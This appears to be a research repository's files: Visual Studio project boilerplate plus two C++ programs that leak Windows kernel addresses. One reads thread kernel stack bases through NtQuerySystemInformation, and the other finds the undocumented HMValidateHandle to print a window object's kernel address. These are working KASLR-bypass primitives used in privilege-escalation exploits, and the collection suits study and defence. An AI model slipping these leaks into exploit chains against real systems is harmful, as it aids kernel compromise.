AppWizard has created this NtQuerySysInfo_SystemProcessInformation application for you.
This file contains a summary of what you will find in each of the files that
make up your NtQuerySysInfo_SystemProcessInformation application.
NtQuerySysInfo_SystemProcessInformation.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
NtQuerySysInfo_SystemProcessInformation.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
NtQuerySysInfo_SystemProcessInformation.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named NtQuerySysInfo_SystemProcessInformation.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="NtQuerySysInfo_SystemProcessInformation.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project> | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
#include "stdafx.h"
#include <windows.h>
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID {
DWORD UniqueProcess;
DWORD UniqueThread;
} CLIENT_ID;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
//from http://boinc.berkeley.edu/android-boinc/boinc/lib/diagnostics_win.h
typedef struct _VM_COUNTERS {
// the following was inferred by painful reverse engineering
SIZE_T PeakVirtualSize; // not actually
SIZE_T PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T VirtualSize; // not actually
} VM_COUNTERS;
typedef enum _KWAIT_REASON
{
Executive = 0,
FreePage = 1,
PageIn = 2,
PoolAllocation = 3,
DelayExecution = 4,
Suspended = 5,
UserRequest = 6,
WrExecutive = 7,
WrFreePage = 8,
WrPageIn = 9,
WrPoolAllocation = 10,
WrDelayExecution = 11,
WrSuspended = 12,
WrUserRequest = 13,
WrEventPair = 14,
WrQueue = 15,
WrLpcReceive = 16,
WrLpcReply = 17,
WrVirtualMemory = 18,
WrPageOut = 19,
WrRendezvous = 20,
Spare2 = 21,
Spare3 = 22,
Spare4 = 23,
Spare5 = 24,
WrCalloutStack = 25,
WrKernel = 26,
WrResource = 27,
WrPushLock = 28,
WrMutex = 29,
WrQuantumEnd = 30,
WrDispatchInt = 31,
WrPreempted = 32,
WrYieldExecution = 33,
WrFastMutex = 34,
WrGuardedMutex = 35,
WrRundown = 36,
MaximumWaitReason = 37
} KWAIT_REASON;
typedef struct _SYSTEM_THREAD_INFORMATION {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
#ifdef _WIN64
ULONG Reserved[4];
#endif
}SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION
{
SYSTEM_THREAD_INFORMATION ThreadInfo;
PVOID StackBase;
PVOID StackLimit;
PVOID Win32StartAddress;
PVOID TebAddress; /* This is only filled in on Vista and above */
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION;
typedef struct _SYSTEM_EXTENDED_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER SpareLi1;
LARGE_INTEGER SpareLi2;
LARGE_INTEGER SpareLi3;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
PVOID PageDirectoryBase;
VM_COUNTERS VirtualMemoryCounters;
SIZE_T PrivatePageCount;
IO_COUNTERS IoCounters;
SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1];
} SYSTEM_EXTENDED_PROCESS_INFORMATION, *PSYSTEM_EXTENDED_PROCESS_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemExtendedProcessInformation = 57
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
int main()
{
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
printf("GetProcAddress() failed.\n");
return 1;
}
ULONG len = 2000;
NTSTATUS status = NULL;
PSYSTEM_EXTENDED_PROCESS_INFORMATION pProcessInfo = NULL;
do {
len *= 2;
pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
status = query(SystemExtendedProcessInformation, pProcessInfo, len, &len);
} while (status == (NTSTATUS)0xc0000004);
if (status != (NTSTATUS)0x0) {
printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
return 1;
}
while (pProcessInfo->NextEntryOffset != NULL) {
for (unsigned int i = 0; i < pProcessInfo->NumberOfThreads; i++) {
PVOID stackBase = pProcessInfo->Threads[i].StackBase;
PVOID stackLimit = pProcessInfo->Threads[i].StackLimit;
#ifdef _WIN64
printf("Stack base 0x%llx\t", stackBase);
printf("Stack limit 0x%llx\r\n", stackLimit);
#else
printf("Stack base 0x%X\t", stackBase);
printf("Stack limit 0x%X\r\n", stackLimit);
#endif
}
pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + pProcessInfo->NextEntryOffset);
}
return 0;
}
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{726FB56A-5312-4BC8-9EFC-98F57B72562E}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>NtQuerySysInfo_SystemProcessInformation</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="NtQuerySysInfo_SystemProcessInformation.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project> | {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// stdafx.cpp : source file that includes just the standard includes
// NtQuerySysInfo_SystemProcessInformation.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HMValidateHandle", "HMValidateHandle\HMValidateHandle.vcxproj", "{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}.Debug|x64.ActiveCfg = Debug|x64
{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}.Debug|x64.Build.0 = Debug|x64
{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}.Debug|x86.ActiveCfg = Debug|Win32
{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}.Debug|x86.Build.0 = Debug|Win32
{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}.Release|x64.ActiveCfg = Release|x64
{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}.Release|x64.Build.0 = Release|x64
{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}.Release|x86.ActiveCfg = Release|Win32
{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
========================================================================
CONSOLE APPLICATION : HMValidateHandle Project Overview
========================================================================
AppWizard has created this HMValidateHandle application for you.
This file contains a summary of what you will find in each of the files that
make up your HMValidateHandle application.
HMValidateHandle.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
HMValidateHandle.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
HMValidateHandle.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named HMValidateHandle.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
// HMValidateHandle.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
#ifdef _WIN64
typedef void*(NTAPI *lHMValidateHandle)(HWND h, int type);
#else
typedef void*(__fastcall *lHMValidateHandle)(HWND h, int type);
#endif
lHMValidateHandle pHmValidateHandle = NULL;
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
//
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf; // points to the kernel mode address
} THRDESKHEAD, *PTHRDESKHEAD;
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}
LRESULT CALLBACK MainWProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
int main()
{
BOOL bFound = FindHMValidateHandle();
if (!bFound) {
printf("Failed to locate HmValidateHandle, exiting\n");
return 1;
}
printf("Found location of HMValidateHandle in user32.dll\n");
WNDCLASSEX wnd = { 0x0 };
wnd.cbSize = sizeof(wnd);
wnd.lpszClassName = TEXT("MainWClass");
wnd.lpfnWndProc = MainWProc;
int result = RegisterClassEx(&wnd);
if (!result)
{
printf("RegisterClassEx error: %d\r\n", GetLastError());
}
HWND test = CreateWindowEx(
0,
wnd.lpszClassName,
TEXT("WORDS"),
0,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL, NULL, NULL, NULL);
PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(test, 1);
#ifdef _WIN64
printf("Kernel memory address: 0x%llx, tagTHREAD memory address: 0x%llx\n", tagWND->pSelf, tagWND->h.pti);
#else
printf("Kernel memory address: 0x%X, tagTHREAD memory address: 0x%X\n", tagWND->pSelf, tagWND->h.pti);
#endif
return 0;
}
| {
"repo_name": "sam-b/windows_kernel_address_leaks",
"stars": "502",
"repo_language": "C++",
"file_name": "stdafx.cpp",
"mime_type": "text/x-c"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{DD142B2C-010C-4D4D-BD2A-3B3ECF15CBAD}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>HMValidateHandle</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
